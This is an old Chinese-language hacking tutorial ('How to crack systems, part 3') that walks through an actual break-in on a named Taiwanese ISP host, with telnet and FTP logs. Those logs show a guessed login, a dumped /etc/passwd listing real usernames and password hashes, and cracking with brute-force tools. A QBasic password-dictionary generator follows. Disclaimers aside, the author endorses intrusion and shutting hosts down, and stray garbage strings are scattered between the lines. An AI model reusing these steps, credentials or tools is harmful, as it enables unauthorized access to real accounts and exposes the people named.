如何破解系統(tǒng)（3）

這不是一個教學文件, 只是告訴你該如何破解系統(tǒng),好讓你能夠?qū)⒆约旱南到y(tǒng)作安全的保護, 如果你能夠?qū)⑦@份文件完全看完, 你就能夠知道電腦駭客們是如何入侵你的電腦, 我是 CoolFire, 寫這篇文章的目的是要讓大家明白電腦安全的重要性, 并不是教人 Crack Password若有人因此文件導致惡意入侵別人的電腦或網(wǎng)路, 本人概不負責 !!
0 e& Q3 k  A% V& V; h+ ^
& y% ?% K( P1 ?前幾次說到了 Net Coffee 店, 還好他們沒有提供客戶撥接上線的功能,不然密碼或是帳號被人盜用的客戶不就糗大了! 但是 CoolFire 在這兩周的探險中, 為了找一個酷似網(wǎng)路咖啡站臺的
+ F1 P5 b1 T9 Z3 [( |! GW3 密碼,誤入一個號稱第一個提供網(wǎng)路撥接的 ISP, 且在 CoolFire 順利的抓回 /etc/passwd
之後, 使用了自己寫的 PaSs2DiC + CJack 來解出密碼, 沒想到不用 1 分鐘, 就找出了 9 組 ID 與Password 相同的密碼,勿怪我沒有在這里提醒大家, 還好我沒有找到 root password, 不然可能該系統(tǒng)就此停擺,不可再見天日也! (當然我不可能這麼作啦!).

看看最近興起的網(wǎng)路咖啡及各大網(wǎng)站的系統(tǒng)安全設施, 再加上 CoolFire最近開會的時候遇到的情況, 不難發(fā)現(xiàn)我們的國家正往高科技的領域快步邁進, 但是這些系統(tǒng)的安全性若不加強,可能到時候人家只要一臺電腦再加上一臺數(shù)據(jù)機就可以讓整個國家的金融及工商業(yè)崩潰!
% z7 k  _: B; P6 V% G9 q大家要小心呀 !
% D& Z5 c0 l3 _" K0 D2 `' F0 XISP 是一般 User 撥接的源頭, 技術(shù)上理應比較強, 但還是輕易讓人入侵, 且又沒有教導User 正確的網(wǎng)路使用觀念 (Password 的設定及 proxy 的使用等),實在不敢想像這樣的網(wǎng)路發(fā)展到幾年後會是甚麼樣子 ??

這一次的說明還是沒有談到新的技巧, 在 James將首頁更新後各位應該已經(jīng)可以從中學到許多東西了, 如果想要學習入侵, 就一定要知道最新的資訊 (入侵本國的網(wǎng)路則不用,反正沒人重視網(wǎng)路安全..... 真失望), 在別人還沒將 Bug 修正之前就搶先一步拿到 /etc/passwd,所以訂閱一些網(wǎng)路安全的 Mail List 是必要的, 多看一些網(wǎng)安有關的 News Group 也是必要的 (不僅 Hacker如此, ISP 更要多注意這些資訊!). 日後有空再整里一些 Mail List 給大家 !!

4 B/ W, @! \& L5 V, P+ P1 `( E本次主題: 說明如何連接該 ISP 并且對其 /etc/passwd 解碼連接位址: www.coffee.com.tw (203.66.169.11)特別說明: 由於本次主題說明重點使用真實的位址及名稱, 所以 CoolFire 已經(jīng) Mail給該網(wǎng)頁之維護人員更改密碼, 但該網(wǎng)頁之 ISP 仍為新手之練習好題材! CoolFire
9 z/ y! P& {8 b1 rMail 給該網(wǎng)頁維護人員之信件內(nèi)容如下, 如果他還不盡快改掉, 我也沒辦法了!

Mail sent to dhacme@tp.globalnet.com.tw:
9 t2 W7 k) F1 V6 ESubject: 請速更動網(wǎng)頁密碼
) y0 X) L7 f/ L0 sFrom: CoolFire <coolfires@hotmail.com>

你的網(wǎng)頁作得不錯, 但是因為你所設定的密碼太容易為駭客所? 入侵, 請於見到此信後速速更改你的網(wǎng)頁進入密碼, 否則下次若網(wǎng)頁遭到篡改, 本人概不負責!!
# T$ |6 R% e3 B7 r; D3 k0 \
**** 課程開始 ****

請注意: 由於本次所作的課程內(nèi)容以實作為主, 除了本人 IP 有所更改,一切都使用本人所用之
Telnet 軟體 Log 檔收錄, 故若道德感不佳者請勿閱讀以下之詳細破解內(nèi)容,否則本人概不負責!
& A* ?$ h1 ]+ v) A" N  D. X
! J& v; Z: V) T  Q(連線到某一主機之後.... 此處的 ms.hinet.net.tw 是假的 Domain name)
ms.hinet.net.tw> telnet www.coffee.com.tw
' O" j% P9 \# c# g* fTrying 203.66.169.11...
# i& H- P; t# q& X1 r, dConnected to www.coffee.com.tw.
Escape character is '^]'.
Password: (隨便按一下 Enter)
Login incorrect

  x+ ], v$ L7 `% Q! I& L9 t$ ^8 f# ?& ]www login: coffee (以 Hacker 的敏銳判斷 username=coffee password=coffee)
Password:
' s7 `5 U* t7 t! B  s3 @Last login: Thu Jan 9 10:41:52 from ms.hinet.net.tw

歡 迎 光 臨 ....... 以下略! 因涉及該 ISP 的名譽, 大家自己去看吧!
=================================================================

+ j: |8 M' U( M8 Q# r(直接進入核心部份)
2 d% E, j  `0 [6 g1 R  awww:~$ cd /etc
7 j1 {# ~6 K6 L2 D. U2 V, \' rwww:/etc$ ls
DIR_COLORS hosts.equiv printcap
HOSTNAME hosts.lpd profile
NETWORKING inet@ protocols
, r, n/ q2 z" `, @NNTP_INEWS_DOMAIN inetd.conf psdevtab
X11@ inittab rc.d/
at.deny inittab.gettyps.sample resolv.conf
- @0 |4 {; E% W  ~7 Ibootptab ioctl.save rpc
csh.cshrc issue securetty
3 k$ k+ F; L, c1 }. A& O9 B5 Hcsh.login issue.net securetty.old
% `- L2 m% M( W) s3 `default/ klogd.pid sendmail.cf
5 a) j5 z- q2 X; V' ~1 [diphosts ld.so.cache sendmail.st
exports ld.so.conf services
9 k' [5 R/ [- c" ]% y  hfastboot lilo/ shells
% \! ?+ h- a) r- P8 E) i1 Mfdprm lilo.conf shutdownpid
fs/ localtime skel/
- [6 x" m) v3 j* V! M9 y6 I, Q$ g+ a8 [fstab magic slip.hosts
' |. J/ U, e) C. k/ {ftp.banner mail.rc slip.login
' c) I0 ]' I- k5 T5 u, d0 m$ Uftp.deny motd snooptab
ftpaccess motd.bak sudoers
ftpconversions msgs/ syslog.conf
ftpgroups mtab syslog.pid
ftpusers mtools termcap
gateways named.boot ttys
+ f5 _  u/ ~. Y7 O6 u$ R* X" c' Qgettydefs networks utmp@
group nntpserver vga/
* z# J# }& R# X- h0 }$ y/ p/ nhost.conf passwd wtmp@
' E& k8 o: X% O# ~hosts passwd.OLD yp.conf.example
hosts.allow passwd.old
; t* [1 ^( G( H, K/ Shosts.deny ppp/

(看看我們的目標長得如何???)
www:/etc$ cat passwd
root:abcdefghijklmn:0:0:root:/root:/bin/bash
, n* D2 M! q6 W) y% B; L9 ~bin:*:1:1:bin:/bin:
# o' e. E; D  a. J) cdaemon:*:2:2:daemon:/sbin:
' e8 C7 a( Q+ Oadm:*:3:4:adm:/var/adm:
2 ^5 I$ g8 a: R8 ~2 C3 h3 y, P+ Tlp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
* M; _. d6 p" {8 I4 A+ V  gshutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
& B! G% Y: u, Enews:*:9:13:news:/usr/lib/news:
" d! ?. N5 M" X6 k# _$ kuucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
7 Z& v: ^& \3 Hgames:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
3 C* d0 |. Q( A1 Qnobody:*:-1:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
; p: T, Q/ ^+ tshan:Ca3LGA8gqDV4A:501:20:Shan Huang:/home/staff/shan:/bin/bash
. G2 [. K. K" ]1 y) X# lwww:/U5N5/l0B.jWo:502:20:WWW Manager:/home/staff/www:/bin/bash
: x9 y4 L, L0 W  P- mtest:aFoIbr40sdbiSw:503:100:test:/home/test:/bin/bash
. I8 _' n1 J' q8 D: P  jfax:aHhi5ZoJwWOGtc:504:100:FAX_SERVICE:/home/staff/fax:/bin/bash
women:IiO94G5YrrFfU:505:100:Perfect Women:/home/w3/women:/bin/bash
kanglin:aMjy/8maF4ZPHA:506:100:Kanglin:/home/w3/kanglin:/bin/bash
! d1 ^$ \3 C: ~8 _coffee:AlwDa18Au9IPg:507:100:Coffee:/home/w3/coffee:/bin/bash
bakery:aFm7GUGCuyfP2w:508:100:Bakery:/home/w3/bakery:/bin/bash
& K$ c$ V4 h: U- H# M# ~carven:aPaqr3QAdw8zbk:509:100:Carven:/home/w3/carven:/bin/bash
haurey:/2m87VjXC742s:510:100:Haurey:/home/w3/haurey:/bin/bash
. G; w6 P9 Z. {$ qprime:nPOlsQhQFJ.aM:511:100:Prime:/home/w3/prime:/bin/bash
tham:H2AOlPozwIIuo:512:100:xxxxxxxxxx:/home/w3/tham:/bin/bash
3 w5 P  V& \! e- ~6 m* jccc:aFiKAE2saiJCMo:513:100:ccc:/home/w3/ccc:/bin/bash
/ q/ S% E$ ^8 J9 q- o) s% jsk:UPrcTmnVSkd3w:514:100:sk:/home/sk:/bin/bash
services:9yBqHWfnnNr.k:515:100:xxxx:/home/w3/haurey/services:/bin/bash
order:LpnMHVjy9M/YU:516:100:xxxx:/home/w3/haurey/order:/bin/bash
corey:mhRsFO60hFsMU:517:100:xxxx:/home/w3/haurey/corey:/bin/bash
: \$ Y1 _8 ^6 i+ P3 q7 B& drichard:EmUWnU6Bj7hQI:519:100:richard:/home/w3/richard:/bin/bash
3 `( ], V) W; q9 V7 C5 mlilian:Opx5xwctJTO1A:520:100:lilian:/home/w3/lilian:/bin/bash
support:JdOqvTZqdZ9wQ:521:100:support:/home/w3/support:/bin/bash
hotline:BiSzCJsDhVl7c:522:100:hotline:/home/w3/hotline:/bin/bash
stonny:/UNPsb9La4nwI:523:20::/home/staff/stonny:/bin/csh
bear:w/eF/cZ32oMho:524:100:bear:/home/w3/bear:/bin/bash
! e+ n" l; I+ w4 W! ]6 s# zlance:Pf7USG6iwgBEI:525:20:Chien-chia Lan:/home/staff/lance:/bin/tcsh
6 M9 E; e! Y' _! H8 e' D- |taiwankk:ijPWXFmRF79RY:526:100:hotline:/home/w3/taiwankk:/bin/bash
service:ulfWaOzIHC.M.:527:100:prime service:/home/w3/service:/bin/bash
# H! {2 k3 c- Q' D+ l, Uliheng:6hGixt6Kgezmo:528:100:prime liheng:/home/w3/liheng:/bin/bash
caves:RyvviMcWTTRnc:529:100:gallery:/home/w3/caves:/bin/bash
! v& \; t8 Q7 u4 e% ]$ qsales:CmtV4FZsBIPvQ:518:100:prime:/home/w3/prime/sales:/bin/bash
- V+ Q" w" i( Y$ y5 E; z# {kingtel:8E7f0PIQWfCmQ:530:100:kingtel:/home/w3/kingtel:/bin/bash
- a4 [$ p1 @* e7 r; I. l: krecycle1:JgbZHVRE4Jf3U:531:100:recycle1:/home/w3/recycle1:/bin/bash
: u( M; e7 u6 ]4 i! mrecycle2:Qg85xgdnsqJYM:532:100:recycle2:/home/w3/recycle2:/bin/bash
6 }+ d1 t- E- orecycle3:XhyoUBFQspiS2:533:100:recycle3:/home/w3/recycle3:/bin/bash
recycle:109mNZYIZtNEM:534:100:recycle:/home/w3/recycle:/bin/bash
hxnet:KhB./jHw.XNUI:536:100:hxnet:/home/w3/hxnet:/bin/bash
! O+ M/ I4 [( X. Y7 R# igoodbook:MlD0tx.urQMYc:535:100:goodbook:/home/w3/goodbook:/bin/bash
sales1:JmKzPOBMIIYUI:537:100:sales1:/home/w3/prime/sales1:/bin/bash
rwu:Pai8mYCRQwvcs:539:100:rwu:/home/w3/kingtel/rwu:/bin/bash
' Q& V7 p, G$ f2 Q; J- d7 Pcharliex:Of6HaxdxkDBDw:540:100:charliex:/home/w3/kingtel/charliex:/bin/bash
6 j) K7 D, M& Y4 m' o$ Ujdlee:Mhq3gZNup9E3Q:538:100:jdlee:/home/w3/kingtel/jdlee:/bin/bash
tkchen:GkTU8ecYIXEyw:541:100:tkchen:/home/w3/kingtel/tkchen:/bin/bash
slb:Olf22.gHBZ.QQ:542:100:slb:/home/w3/kingtel/slb:/bin/bash
8 Y% S. Y2 q. G8 Xs6t4:GnHFCPdZX7nkU:543:100:s6t4:/home/w3/kingtel/s6t4:/bin/bash
( V5 F. W7 X! E+ x# w* r6 ^- ~1 olsh:GftygyOntHY6Y:545:100:lsh:/home/w3/kingtel/lsh:/bin/bash
& V& u2 w5 M, x5 Llilly:DhKHmlKPE6tRk:544:100:lilly:/home/w3/kingtel/lilly:/bin/bash
nalcom:MhHdQ1mvge9WQ:546:100:nalcom:/home/w3/prime/nalcom:/bin/bash
( t) F/ I. @6 I% O" M8 ejordon:mPgNPVEkIEORM:547:100:jordon:/home/w3/jordon:/bin/bash
/ u7 k; S! K( H; H( Htoonfish:wTscIuas4EeTE:548:100:toonfish:/home/w3/toonfish:/bin/bash
yahoo:If.UlNFTal.bk:549:100:yahoo:/home/w3/yahoo:/bin/bash
basic:IgLUu9J03lbyU:550:100:basic:/home/w3/basic:/bin/bash
wunan:QUHEiPefAaKsU:551:100:xxxxxxxx:/home/w3/wunan:/bin/bash
( `; @& V: T5 W5 T6 nkaoune:eVwM44uTLOpnY:552:100:kaoune:/home/w3/wunan/kaoune:/bin/bash
. ~+ O* ?$ h/ w4 Lshuchuan:KgPlk7TT6pmBk:553:100:shuchuan:/home/w3/wunan/shuchuan:/bin/bash
fan:Jk6E9PqP7xemg:554:100:fan:/home/w3/toonfish/fan:/bin/bash
* D2 h" q, z. C
) a2 j8 z- q" R4 w0 h* a(CoolFire 注: 因為使用 PaSs2DiC 很容易找出 ID 與 Password 相同的. 故除了 Coffee外, 其它我找到密碼的 EnCode Password 部份皆改過..... 除非你一個一個試啦~~~ 我沒說喔!)
9 m( j) N  w7 d- P9 J! Y8 @
- B% D! N9 S( F% [. `- p5 U$ _www:/etc$ exit
logout
1 {7 w* m+ ]" HConnection closed by foreign host.
8 K) i! H4 Q5 S7 o3 V+ p
; W7 \$ z4 |! [8 }(可以走了 !! 改用 FTP 將 /etc/passwd 給抓回來吧!)
$ p4 F/ e& O5 K) M9 Q4 o
) E: ?. f" Y* B$ ]ms.hinet.net.tw> ftp www.coffee.com.tw
Connected to www.coffee.com.tw.
% c( U; q$ O* J8 c" B: V, r220-
220- 歡 迎 光 臨 ....... 以下略! 因涉及該 ISP 的名譽, 大家自己去看吧!
220-
220-
220- There are 0 users in FTP Server now.
220- 目前已有 0 使用者在此 Server 上.
220- If you have any suggestion, please mail to:
. V$ M: T! P# _$ M9 p+ {" A# m) i& c220- service@xx.xxxxxxx.xxx.xx.
220-
- U& y1 M8 q9 M6 g  x2 ]220-
7 K0 k" @( |. ^: w4 z  }) Z220-
8 H9 F% m+ C& G7 x1 u220 www FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.
) m6 K& n$ |6 v* u, z; G4 c+ v
* j7 r: @' U( ~( A8 t; N; s(還是使用剛剛的帳號進入)

Name (www.coffee.com.tw:YourName): coffee
, f* B% J! v5 n* D, D& D331 Password required for coffee.
Password:
230 User coffee logged in.
Remote system type is UNIX.
* S% Z: F" r! G7 }3 J. j+ QUsing binary mode to transfer files.
; [7 l8 G: I; O, ]& K! E
5 U9 X4 D% u( K9 w% L* u(直接到達檔案放置地點)

+ n4 I( k2 O- Z& Y3 x9 N$ W2 wftp> cd /etc
250 CWD command successful.
9 u9 Q8 K# L) X: Z, I2 H6 }. gftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
ttys
, I) D, k! b0 K- zfdprm
group
' c, X0 w: s5 _$ s7 @9 Jissue
motd
mtools
+ R2 q! L' J* d3 Y/ F& v) ~profile
securetty
shells
- `' }2 Z% h2 {$ S+ H& `termcap
) z0 m; c8 Q6 G/ c' h- cskel
0 K& B1 Z! t9 V( r9 Y6 H! hcsh.cshrc
csh.login
lilo
" _# Q; A7 m+ F) S, l& w2 M6 yinet
( D/ `) S) Y5 ?$ W# t8 [4 D5 f6 adefault
services
2 M) ?& i& Q4 D: {9 {5 lHOSTNAME
DIR_COLORS
5 e9 j& B' A* B& s- t# Wpasswd
( v( m7 ?" e+ e' o& o( W) rpasswd.OLD
wtmp
utmp
gettydefs
) o) E" n6 N/ K; Y) qinittab.gettyps.sample
# |0 |( Q% r( Uld.so.conf
ld.so.cache
5 Y6 _# v# W4 D, Q. @/ q0 bat.deny
fs
magic
: [/ r. i. a  [6 f+ Crc.d
/ t! m5 J( D+ [! ~* xsyslog.conf
printcap
inittab
8 @3 z1 J# J6 I2 u; v, `' psudoers
5 n3 r1 x# e2 S3 q% |& zvga
1 y! `3 s! V- D: n/ d1 ?diphosts
' `  }, H. O5 z8 J, g) |mail.rc
8 o1 l# u* E- kppp
# }* [: i1 J/ QNNTP_INEWS_DOMAIN
+ h( G6 l& W9 `. I- vsendmail.st
3 {+ l$ L/ o$ |$ h0 H; u. @NETWORKING
; Y9 F% [% b/ J  Z! Y' Fgateways
bootptab
exports
ftpusers
' [$ Y& G# p: W+ Mhost.conf
; O$ E& G2 e- M4 Qhosts
hosts.allow
8 u6 G* a3 _" ]# O: Thosts.deny
hosts.equiv
inetd.conf
named.boot
9 |# x; r, R& E' p# ]# g! Onetworks
( {) s7 g2 Y0 dnntpserver
protocols
$ C" X+ y7 f* T; bresolv.conf
2 |% I& d  k2 i% w* p. g# jrpc
$ _. }" ~% v8 P' [# aftpaccess
" X& I1 H- E' u$ Ahosts.lpd
ftpconversions
* u  k! L. C8 Y& fsnooptab
msgs
5 j# t* P& g$ c5 nftpgroups
, y. D5 q- l! s/ W' w! H5 Islip.login
  t7 C* L3 z% y2 y6 f9 {9 k- aslip.hosts
3 P: c  U6 i* N! f, n6 vyp.conf.example
& G% V# U6 N6 y* F* f; t, f8 VX11
$ S6 T1 {$ k' r  D6 S2 c& T# }7 Alilo.conf
2 J1 T) o) |. v5 Isendmail.cf
fstab
+ i1 o5 e  k0 ?: k' Ofastboot
mtab
syslog.pid
- r, H+ a. ~; ^6 Z$ Uklogd.pid
) W# t* X) R" j8 ]" v* V' E, ]3 dshutdownpid
1 A3 G6 v3 Y  ~1 R. jlocaltime
passwd.old
ioctl.save
" W  e; ?5 o; w! p) S" ~: I' X- e8 \psdevtab
9 S- X- b; y; c: f8 o' f6 O# bftp.banner
$ _, V' K% H! G; f8 l7 u( [$ K  iftp.deny
1 q: }1 O! ^/ d0 ~+ M" o7 pissue.net
motd.bak
" n; ~5 W9 @/ n; _securetty.old
226 Transfer complete.

(取回該檔案)
' g7 ~" Q' j% ~$ i6 X& u: E
ftp> get passwd
200 PORT command successful.
* C3 p) p+ [$ _0 L0 |150 Opening BINARY mode data connection for passwd (4081 bytes).
226 Transfer complete.
4081 bytes received in 2.5 seconds (1.6 Kbytes/s)
" O. B0 q8 p8 x
(盡速離開)

ftp> bye
221 Goodbye.
  q! ~. Y, d/ D  @5 h: V1 Y, R$ W
好了! 有了 /etc/passwd 之後一切都好辦了, 趕緊將你的寶貝收藏 PaSs2DiC 拿出來吧
2 P( A, @( ]- n. M" e  X% B!!快點跑一下, 讓它自動產(chǎn)生字典檔案:
3 x' t, n9 V  U
- `  q" L" N* g- }' M( lC:\hack>pass2dic
PaSs2DiC V0.2 (C)1996 By FETAG Software Development Co. R.O.C. TAIWAN.
+ A' H( v7 r  d
This tool will:
( q$ ~# A2 k3 y1 m
9 q! w4 Y  H5 R. q5 A) A[1] Load PASSWD file and convert it to only username text file
[2] Write the file to a dictionary file you choise for target

' d% d1 ?$ a: O- U5 M8 `7 ?& x' J0 p4 qYour Source PASSWD File Name: passwd
Your Target Dictionary Name: dic.cfe

PaSs2DiC Author: James Lin E-Mail: fetag@stsvr.showtower.com.tw
FETAG Software Development Co: http://www.showtower.com.tw/~fetag
1 F  W5 D" S8 c' a+ t# _. {# `$ I, F: u
C:\hack>

(這樣就好了 ! 自動產(chǎn)生的檔案會放在 dic.cfe 這個檔案中, 咱們跑一下 Brute Force看看!)
  j8 W) Q; Z  c! [# D+ o! J
3 j0 o& f2 R5 E3 Q% g+ z
  W) F2 A! |! K2 AC:\hack>fbrute passwd @dic.cfe
0 H  I# s0 N4 F$ }9 p+ [7 ^' H
& N" V* U* L. U. a4 H6 tBRUTE!, Unix Brute Force Hacking Routine. v2.0
4 ~$ Q0 x, R3 q. WCopyright (C) 1990, Prometheus. DOS-fastcrypt made available by sir hackalot.
闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡
6 [& \/ \' w9 K" L6 p3 a
: L: I* H& I9 h5 _: j! ?. a　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
  z8 |4 J6 ~- e) {7 p, r& f# y5 {5 qAttempts/Hits: 5184/9
4 n6 Q" H: [, p3 I  k7 S( t　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
) [+ J" L$ N- D
( g6 |8 J$ Q- Y& V0 yTaking list input from dic.cfe
Beginning search of passwd for password: xxx

3 y0 c8 y# L& \; s$ O7 h5 JMatch for password xxxxxx found! Username: xxxxxx
, s& h, @' K3 q- V$ T0 ?) z3 i  GMatch for password xxxxx found! Username: xxxxx
Match for password xxx found! Username: xxx
Match for password xxxxxx found! Username: xxxxxx
3 e# E" [4 w2 r7 m+ cMatch for password xxxxxx found! Username: xxxxxx
4 A+ ^/ q7 I) I+ u8 E9 mMatch for password coffee found! Username: coffee
/ e0 N2 I% _3 t4 d  R! l: CMatch for password xxxxxxx found! Username: xxxxxxx
1 C, G. D. D" Q9 W9 V. I# f: FMatch for password xxx found! Username: xxx
Match for password xxxx found! Username: xxxx
: M' L. K- `- u% G' _
8 \5 J2 {8 H2 F3 Y/ d* ODone.

C:\hack>

8 G# M. Y5 k1 ?* @/ h  B! n* \( ]看! 除了 coffee 外還是有許多人使用與 ID 相同的字作為密碼, 實在是....@#$%^...&*因某些關系所以其它部份要被 "馬賽克" 起來, 請各位讀者見量!

, v) F2 o9 ^; ?- M! y% ^8 Y; l0 x**** 再談密碼 ****
6 O- |9 L: [8 K
7 X( o/ W2 p& L4 T看了以上的破解示范, 就可以了解到許多人還是對於 "密碼" 這東西不是很有 "密碼"的觀念, 人就是那麼的懶, 隨便設定一個好記的, 但是這種密碼確是最不安全的, 上次我們談到如何用
QBasic 來設計一個自動產(chǎn)生密碼的小程式, 相信對許多人有很大的幫助,底下我們再來淺顯的介紹一下字母密碼的產(chǎn)生方法, 相信對於你在 Hack 某站會有更大的幫助.
% v: n! ~; `  G/ `4 j
事情的開始是有一位網(wǎng)友 mail 給我, 問我字典檔要如何寫程式來 "自動擴大",而讓我有了寫這一段的想法, 現(xiàn)在我就針對這位網(wǎng)友的問題作一個更詳細的說明 (因已簡短回信答覆),并且寫出來讓大家了解一下, 當然我們的示范還是使用 QBasic, 因為這是最容易找到的程式了,而且語法大家也可能會比較熟悉一點, 如果我使用 VB 或 C 來寫, 可能有些人只會拿去用,而不會去修改或者寫個好一點的出來!

先說明一下原理好了: 我們所要作的程式是一個自動產(chǎn)生字典檔的程式,所以我們要了解字的字母排列到底有哪些方法可循?? 我們先舉幾個簡單的單字出來比較看看:

[1] apple [2] guest [3] james [4] superman [5] password

& z$ Z' C( O& `; X9 ?1 R6 ^OK! 來看看! 如果你有一點英文的概念的話應該會知道母音及子音吧 !
6 v1 ^& M) V) n( e. k7 L我們首先這樣說明: 母音在英文
% d4 `5 A+ q! D. S6 Q上有 : A E I O U 這五個, 所有的英文單字都會有這些母音(有些沒有的可能是專有名詞或縮寫), 也有可能是雙母音的字, 如: au, ai, ea, ei, ia, ie, ou, oe, ui, ua... 等,
再來就是比較每個字的開頭, 有可能是母音,也有可能是子音, 但是子音之後通常接的是母音字母, 但是也有例外, 如: student是兩個子音再接一個母音字母, 所以接下來依照常用字將這些子音找出來, 我想了一下大概有: br, bl, cl, dg,dr, fl, gr, kn, ph, st, sp, wh .... 等幾種(其它請自行統(tǒng)計), 然後是結(jié)尾部份, 通常結(jié)尾部分有下列幾種: e;est; ord; ard; ls; es; s...等好多好多, 我們稍為思考一下就知道要如何寫出這樣的程式出來了 !!
7 H3 F' a6 b/ x: `7 r! |/ L$ O我大略寫一個簡單的, 其它大家自行發(fā)揮, 如果有人學語言學的, 請幫忙弄一份常用組合表出來, 可能會更有幫助吧 !!
6 w7 F2 g3 a7 C5 X5 `
底下就是該程式片段, 執(zhí)行後會產(chǎn)生 MyDic.Txt 檔, 大小為: 22,096 Bytes 共有 3120個字的字典!!

--------------- MakeDic.BAS Start Here
9 |( V1 t' Q3 N" }* k6 P-------------------------------------------------------------------------------
--------
6 H  x9 X; l3 w% X. C& V( zDIM FirstWord$(20)
DIM MotherWord$(13)
DIM LastWord$(12)

) i1 R  V# ?; K  Y" x  sDATA "br", "bl", "cl", "dg", "dr", "fl", "gr", "kn", "ph", "st", "sp", "s",
4 K$ M. `# Q8 p* N6 e"t", "p", "k" , "f", "m", "n", "b","k"
# i5 Z) Z6 W2 ODATA "a", "e", "i", "o", "u", "ai", "ei", "ea", "io", "ou", "oi", "au", "eo"
' {% J: a6 T/ g; `/ jDATA "st", "ord", "ard", "e", "es", "le", "ng", "st", "ing", "n", "b", "s"

. s9 I2 p. v7 S; WFOR I = 1 TO 20
# e7 ~0 ^* R; U3 @5 \4 I6 e- rREAD FirstWord$(I)
PRINT FirstWord$(I)
NEXT I

# `5 B8 o8 t1 I; rFOR I = 1 TO 13
! y1 [7 e5 t7 OREAD MotherWord$(I)
0 D5 k1 l3 R3 m, ANEXT I

FOR I = 1 TO 12
/ x8 j( ?0 k9 e+ h* W. C, nREAD LastWord$(I)
. o' p8 U5 G3 {- \7 {NEXT I
9 j% ?- b( o" o1 h
& t, u6 s% j& l! NOPEN "MyDic.txt" FOR OUTPUT AS #1
1 ~6 O6 O$ {$ ]" k# K6 S) X* K
. x6 q" R! J* y7 M# OFOR I = 1 TO 20
4 O1 O- h  ^) O; U3 H! s' wFOR J = 1 TO 13
: a- _$ W: |% f* C2 cFOR K = 1 TO 12
PRINT #1, FirstWord$(I) + MotherWord$(J) + LastWord$(K)
) Q6 |0 n- }5 s3 P$ u6 u% wNEXT K
: ]: S! y/ ?* g4 `NEXT J
NEXT I

, h% i. t2 w- \8 A& SCLOSE : END
--------------- Cut Here, End of MakeDic.BAS
/ Z: S( Q" ?: C! J; D-------------------------------------------------------------------------------
! \: v; h( L0 h$ v5 c-
' L: L9 c0 `# E3 V3 ^
當然這只是小部份的組合, 相信你可以作出一個更大的字典檔出來, 如:
子音+母音+子音+母音+子音, 作出來的字典檔會很嚇人喔 !! 這一個部份就講到這里了 ! 如果你有很棒的字典產(chǎn)生程式,寫好了請 Mail 一份給我喔 !! 如果可以的話請說明是否可以公布在我的 W3 上讓其它人下載 !!還是你只是要給我 ?!

9 _# j( L( ~$ x6 b# E希望每次講到密碼的問題後, 大家可以將這些密碼的產(chǎn)生方法與自己的密碼對照看看,如果有相同的請趕緊將自己的密碼換掉, 我講得口沫橫飛, 都沒有人要聽嗎 ??? 咖啡業(yè)者...... ISP
+ t- U4 \- g( Y% Q- O; F們.... 教教你們的使用者吧..... 唉~~~~
$ {6 _, a3 @! d( v

8 k) b, k0 f9 P) \4 G  J**** 後語 ****

我們的首頁感謝大家的支持, 現(xiàn)在人數(shù)已經(jīng)到達 2,000 了, 這是一個地下站(未對外正式公布) 很棒的一個數(shù)字, 在與其它工作室人員研究之後, 暫時不對外公布站址, 如果你是 "誤闖"到本站來的! 我們歡迎你的加入, 但目前尚不考慮對外公布站址, 請您在告訴你的朋友有這麼一個站存在的時候,請他不要隨便告訴別人 (請只告訴你信賴的朋友; 或?qū)﹄娔X有一份特別狂熱的人, 我們都歡迎他們的加入),我們目前所采用的方式將是開放式的! 對首頁部份暫時不以密碼方式處理.

** 不要 Crack 這個首頁的 ISP!!!! 否則 FETAG Sofeware's Hacking Page將會完全關閉, 再也不尋找其它的地方來放置, 希望給你的是使用電腦的 "知識", 不要利用它來奪取任何的 "權(quán)利",本首頁著重的是教育, 而不是一　的教導攻擊的方法, 希望大家對於政府機關 (org.tw) 或教育機構(gòu) (edu.tw)不要作任何的破壞!!還有我的 ISP......:D
+ V6 S) k& M$ I) l
------
8 i& r( X7 `# ~# ~! U4 m哇! 一份案子搞了好久, 都沒時間維護網(wǎng)頁了, 所以特別將維護的工作還給了 James,希望大家多多支持我們的園地, 我案子搞完後再跟大家談談我最近的實戰(zhàn)故事! 雖然沒時間寫網(wǎng)頁,但是還是會寫一些文件給大家作為參考 !!

------
再次重申, Crack 別人站臺之後不要破壞別人站臺中的資料, 此篇文章僅作為教育目的,不主張你隨便入侵他人主機.... (高-Net 還是除外)... 請勿將這類技術(shù)使用於破壞上 (又...如果第三次世界大戰(zhàn)開打, 你可以任意破壞敵國的電腦網(wǎng)路... 我全力支持),最嚴重的情況(如果你真的很討厭該主機的話)... 就將它 Shut Down.... 好了! 別太暴力了!
% o# v  [) _% A